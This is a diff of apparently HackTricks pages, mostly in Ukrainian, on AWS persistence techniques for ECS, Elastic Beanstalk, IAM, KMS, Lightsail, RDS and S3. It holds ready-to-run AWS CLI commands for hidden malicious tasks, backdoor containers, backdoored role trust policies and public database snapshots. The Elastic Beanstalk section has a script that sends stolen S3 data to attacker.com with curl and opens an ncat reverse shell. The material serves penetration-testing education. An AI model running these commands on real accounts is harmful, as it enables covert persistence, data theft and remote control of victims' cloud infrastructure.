+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

@@ -1,93 +0,0 @@
-# AWS - ECS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Схована періодична задача ECS
-
-> [!NOTE]
-> TODO: Test
-
-Зловмисник може створити сховану періодичну задачу ECS, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Backdoor Container in Existing ECS Task Definition
-
-> [!NOTE]
-> TODO: Test
-
-Зловмисник може додати **прихований бекдор-контейнер** в існуюче визначення завдання ECS, який працює поряд з легітимними контейнерами. Бекдор-контейнер може використовуватися для збереження доступу та виконання шкідливих дій.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Undocumented ECS Service
-
-> [!NOTE]
-> TODO: Test
-
-Зловмисник може створити **недокументований ECS сервіс**, який виконує шкідливе завдання. Встановивши бажану кількість завдань на мінімум і вимкнувши ведення журналів, адміністраторам стає важче помітити шкідливий сервіс.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md

@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Для отримання додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Перевірити
+
+Зловмисник може створити hidden periodic ECS task, використовуючи Amazon EventBridge, щоб **планувати періодичне виконання шкідливої задачі**. Така задача може виконувати reconnaissance, exfiltrate data або підтримувати persistence в обліковому записі AWS.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Test
+
+Атакувальник може додати **stealthy backdoor container** у наявний ECS task definition, який працює поруч із легітимними контейнерами. Цей backdoor container може використовуватися для persistence та виконання зловмисних дій.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Незадокументований ECS Service
+
+> [!NOTE]
+> TODO: Перевірити
+
+Зловмисник може створити **незадокументований ECS service**, який запускає шкідливий task. Встановивши бажану кількість tasks на мінімум та відключивши logging, адміністраторам стає складніше помітити шкідливий service.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### Утримання в ECS через Task Scale-In Protection (UpdateTaskProtection)
+
+Зловживання ecs:UpdateTaskProtection дозволяє запобігти зупинці сервісних задач під час scale‑in events та rolling deployments. Постійно продовжуючи protection, зловмисник може підтримувати довгостроковий task у роботі (для C2 або збору даних), навіть якщо захисники зменшать desiredCount або викотять нові task revisions.
+
+Кроки для відтворення в us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Наслідок: Захищене завдання залишається RUNNING незважаючи на desiredCount=0 і блокує заміни під час нових розгортань, дозволяючи приховану довготривалу персистентність у сервісі ECS.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Змінити політику ресурсу / групи безпеки
-
-Змінюючи **політику ресурсу та/або групи безпеки**, ви можете спробувати зберегти свій доступ до файлової системи.
-
-### Створити точку доступу
-
-Ви можете **створити точку доступу** (з кореневим доступом до `/`), доступну з сервісу, де ви реалізували **іншу стійкість**, щоб зберегти привілейований доступ до файлової системи.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Для отримання додаткової інформації дивись:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Змінити Resource Policy / Security Groups
+
+Змінюючи **resource policy and/or security groups**, ви можете спробувати зберегти свій доступ до файлової системи.
+
+### Створити Access Point
+
+Ви можете **створити access point** (з root-доступом до `/`), доступний із сервісу, де ви реалізували **other persistence**, щоб зберегти привілейований доступ до файлової системи.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md

@@ -1,75 +0,0 @@
-# AWS - Elastic Beanstalk Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### Persistence in Instance
-
-Щоб підтримувати стійкість всередині облікового запису AWS, деякі **механізми стійкості можуть бути впроваджені всередині екземпляра** (cron job, ssh key...), щоб зловмисник міг отримати доступ до нього та вкрасти **облікові дані IAM ролі з сервісу метаданих**.
-
-### Backdoor in Version
-
-Зловмисник може вставити бекдор у код всередині репозиторію S3, щоб він завжди виконував свій бекдор і очікуваний код.
-
-### New backdoored version
-
-Замість зміни коду в актуальній версії, зловмисник може розгорнути нову версію програми з бекдором.
-
-### Abusing Custom Resource Lifecycle Hooks
-
-> [!NOTE]
-> TODO: Test
-
-Elastic Beanstalk надає гачки життєвого циклу, які дозволяють вам виконувати користувацькі скрипти під час надання та завершення екземпляра. Зловмисник може **налаштувати гачок життєвого циклу для періодичного виконання скрипта, який ексфільтрує дані або підтримує доступ до облікового запису AWS**.
-```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
-echo '#!/bin/bash
-aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
-gzip /tmp/data.csv
-curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
-ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
-
-# Attacker uploads the script to an S3 bucket
-aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
-
-# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
-echo 'Resources:
-AWSEBAutoScalingGroup:
-Metadata:
-AWS::ElasticBeanstalk::Ext:
-TriggerConfiguration:
-triggers:
-- name: stealthy-lifecycle-hook
-events:
-- "autoscaling:EC2_INSTANCE_LAUNCH"
-- "autoscaling:EC2_INSTANCE_TERMINATE"
-target:
-ref: "AWS::ElasticBeanstalk::Environment"
-arn:
-Fn::GetAtt:
-- "AWS::ElasticBeanstalk::Environment"
-- "Arn"
-stealthyLifecycleHook:
-Type: AWS::AutoScaling::LifecycleHook
-Properties:
-AutoScalingGroupName:
-Ref: AWSEBAutoScalingGroup
-LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
-NotificationTargetARN:
-Ref: stealthy-lifecycle-hook
-RoleARN:
-Fn::GetAtt:
-- AWSEBAutoScalingGroup
-- Arn' > stealthy_lifecycle_hook.yaml
-
-# Attacker applies the new environment configuration
-aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - Elastic Beanstalk Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Persistence in Instance
+
+Щоб зберегти persistence всередині AWS account, у інстанс можна ввести якийсь **persistence mechanism** (cron job, ssh key...), щоб зловмисник мав доступ і міг вкрасти IAM role **credentials з metadata service**.
+
+### Backdoor in Version
+
+Зловмисник може backdoor код всередині S3 repo так, щоб він завжди виконував свій backdoor та очікуваний код.
+
+### New backdoored version
+
+Замість того, щоб змінювати код в актуальній версії, зловмисник може розгорнути (deploy) нову backdoored версію застосунку.
+
+### Abusing Custom Resource Lifecycle Hooks
+
+> [!NOTE]
+> TODO: Test
+> 
+> Elastic Beanstalk надає lifecycle hooks, які дозволяють запускати custom scripts під час instance provisioning та termination. Зловмисник може **configure lifecycle hook для періодичного виконання скрипта, який exfiltrates дані або підтримує доступ до AWS account**.
+```bash
+# Attacker creates a script that exfiltrates data and maintains access
+echo '#!/bin/bash
+aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
+gzip /tmp/data.csv
+curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
+ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
+
+# Attacker uploads the script to an S3 bucket
+aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
+
+# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
+echo 'Resources:
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
+
+# Attacker applies the new environment configuration
+aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -1,47 +0,0 @@
-# AWS - IAM Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Для отримання додаткової інформації зверніться до:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Загальна IAM Постійнiсть
-
-- Створити користувача
-- Додати контрольованого користувача до привілейованої групи
-- Створити ключі доступу (нового користувача або всіх користувачів)
-- Надати додаткові дозволи контрольованим користувачам/групам (прикріплені політики або вбудовані політики)
-- Вимкнути MFA / Додати свій власний пристрій MFA
-- Створити ситуацію з ланцюгом ролей (більше про це нижче в STS постійності)
-
-### Політики довіри до бекдорів ролей
-
-Ви можете створити бекдор для політики довіри, щоб мати можливість приймати її для зовнішнього ресурсу, контрольованого вами (або для всіх):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Політика бекдору Версія
-
-Надайте адміністративні права політиці, яка не є її останньою версією (остання версія повинна виглядати легітимно), а потім призначте цю версію політики контрольованому користувачу/групі.
-
-### Бекдор / Створити постачальника ідентичності
-
-Якщо обліковий запис вже довіряє загальному постачальнику ідентичності (такому як Github), умови довіри можуть бути посилені, щоб зловмисник міг їх зловживати.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Для детальнішої інформації див.:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Common IAM Persistence
+
+- Створити користувача
+- Додати контрольованого користувача до привілейованої групи
+- Створити access keys (нового користувача або всіх користувачів)
+- Надати додаткові дозволи контрольованим користувачам/групам (attached policies або inline policies)
+- Вимкнути MFA / Додати власний MFA пристрій
+- Створити ситуацію Role Chain Juggling (детальніше нижче в STS persistence)
+
+### Backdoor Role Trust Policies
+
+You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Backdoor Policy Version
+
+Надати Administrator permissions до policy у версії, яка не є останньою (остання версія має виглядати легітимною), після чого призначити цю версію policy контрольованому user/group.
+
+### Backdoor / Create Identity Provider
+
+Якщо акаунт уже довіряє поширеному identity provider (наприклад, Github), умови довіри можна послабити/змінити так, щоб attacker міг ними зловживати.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Надання доступу через політики KMS
-
-Зловмисник може використовувати дозвіл **`kms:PutKeyPolicy`** для **надання доступу** до ключа користувачу під його контролем або навіть до зовнішнього облікового запису. Перегляньте [**сторінку KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) для отримання додаткової інформації.
-
-### Вічний грант
-
-Гранти - це ще один спосіб надати принципалу деякі дозволи на конкретний ключ. Можливо надати грант, який дозволяє користувачу створювати гранти. Більше того, користувач може мати кілька грантів (навіть ідентичних) на той самий ключ.
-
-Отже, можливо, що користувач має 10 грантів з усіма дозволами. Зловмисник повинен постійно це контролювати. І якщо в якийсь момент 1 грант буде видалено, ще 10 повинні бути згенеровані.
-
-(Ми використовуємо 10, а не 2, щоб мати можливість виявити, що грант був видалений, поки у користувача все ще є деякі гранти)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Грант може надавати дозволи лише з цього: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md

@@ -0,0 +1,37 @@
+# AWS - KMS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant доступ через KMS policies
+
+Зловмисник може використати дозвіл **`kms:PutKeyPolicy`**, щоб **надати доступ** до ключа користувачу під його контролем або навіть зовнішньому акаунту. Перегляньте [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) для детальнішої інформації.
+
+### Eternal Grant
+
+Grants — це інший спосіб надати принципалу певні дозволи над конкретним ключем. Можна створити grant, який дозволяє користувачу створювати grants. Крім того, користувач може мати кілька grant (навіть ідентичних) для одного й того ж ключа.
+
+Отже, користувач може мати 10 grants з усіма дозволами. Зловмиснику слід постійно це моніторити. Якщо в якийсь момент один grant буде видалено, має бути створено ще 10.
+
+(Ми використовуємо 10, а не 2, щоб мати змогу виявити, що grant було видалено, поки користувач усе ще має щонайменше один grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Грант може надати дозволи лише з цього: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Завантаження SSH ключів інстансів та паролів до БД
-
-Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу
-
-### Задні двері в інстансах
-
-Зловмисник може отримати доступ до інстансів і встановити в них задні двері:
-
-- Використовуючи традиційний **rootkit**, наприклад
-- Додаючи новий **публічний SSH ключ**
-- Відкриваючи порт з портовим стуком з задніми дверима
-
-### DNS-постійність
-
-Якщо домени налаштовані:
-
-- Створіть піддомен, що вказує на вашу IP-адресу, щоб ви могли здійснити **піддоменний захват**
-- Створіть запис **SPF**, що дозволяє вам надсилати **електронні листи** з домену
-- Налаштуйте **IP основного домену на свій власний** і виконайте **MitM** з вашої IP-адреси на легітимні
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md

@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Для детальнішої інформації дивись:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Download Instance SSH keys & DB passwords
+
+Ймовірно, їх не змінюватимуть, тому їхнє збереження — хороший спосіб забезпечити стійкий доступ.
+
+### Backdoor Instances
+
+Атакуючий може отримати доступ до instances і встановити backdoor:
+
+- Наприклад, використовуючи традиційний **rootkit**
+- Додавши новий **public SSH key**
+- Відкрити порт через **port knocking** з backdoor
+
+### DNS persistence
+
+Якщо домени налаштовані:
+
+- Створити субдомен, що вказує на вашу IP, щоб отримати **subdomain takeover**
+- Створити запис **SPF**, що дозволяє надсилати **emails** від імені домену
+- Налаштувати **main domain IP** на вашу IP та виконати **MitM** з вашої IP до легітимних
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -1,27 +0,0 @@
-# AWS - RDS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### Зробити екземпляр загальнодоступним: `rds:ModifyDBInstance`
-
-Зловмисник з цим дозволом може **змінити існуючий екземпляр RDS, щоб дозволити загальнодоступний доступ**.
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-### Створити адміністратора користувача в базі даних
-
-Зловмисник може просто **створити користувача в базі даних**, тому навіть якщо пароль майстер-користувача буде змінено, він **не втратить доступ** до бази даних.
-
-### Зробити знімок публічним
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - RDS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Зробити інстанс публічно доступним: `rds:ModifyDBInstance`
+
+Атакувальник з цим дозволом може **змінити існуючий RDS інстанс, щоб зробити його публічно доступним**.
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+### Створити admin user всередині DB
+
+Атакуючий може просто **створити користувача всередині DB**, тому навіть якщо master users password буде змінено, він **не втратить доступ** до бази даних.
+
+### Зробити snapshot публічним
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Client-Side Encryption
-
-Коли процес шифрування завершено, користувач використовує KMS API для генерації нового ключа (`aws kms generate-data-key`) і **зберігає згенерований зашифрований ключ у метаданих** файлу ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), щоб під час розшифровки його можна було знову розшифрувати за допомогою KMS:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник отримає ключ шифрування, і якщо цей ключ повторно використовується для шифрування інших файлів, він зможе його використовувати.
-
-### Using S3 ACLs
-
-Хоча зазвичай ACL для бакетів вимкнені, зловмисник з достатніми привілеями може їх зловживати (якщо вони увімкнені або якщо зловмисник може їх увімкнути), щоб зберегти доступ до S3 бакету.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md

@@ -0,0 +1,25 @@
+# AWS - S3 Персистентність
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
+Після завершення процесу шифрування користувач використовує KMS API для генерації нового ключа (`aws kms generate-data-key`) і **зберігає згенерований зашифрований ключ у метаданих** файлу ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), тому під час дешифрування його можна знову розшифрувати за допомогою KMS:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Отже, attacker може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, який використовувався для шифрування інформації. Таким чином attacker отримає ключ шифрування, і якщо цей ключ буде повторно використано для шифрування інших файлів, він зможе ним користуватися.
+
+### Using S3 ACLs
+
+Хоча зазвичай ACLs для бакетів вимкнені, attacker з достатніми привілеями може зловживати ними (якщо вони увімкнені або якщо attacker може їх увімкнути), щоб зберегти доступ до S3 bucket.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Огляд технік збереження
-
-Цей розділ описує методи отримання збереження в SageMaker шляхом зловживання Lifecycle Configurations (LCCs), включаючи реверсні оболонки, cron jobs, крадіжку облікових даних через IMDS та SSH бекдори. Ці скрипти виконуються з IAM роллю екземпляра і можуть зберігатися між перезавантаженнями. Більшість технік вимагають вихідного мережевого доступу, але використання сервісів на контрольному рівні AWS все ще може дозволити успіх, якщо середовище знаходиться в режимі "тільки VPC".
-#### Примітка: Екземпляри ноутбуків SageMaker в основному є керованими EC2 екземплярами, налаштованими спеціально для навантажень машинного навчання.
-
-## Необхідні дозволи
-* Екземпляри ноутбуків:
-```
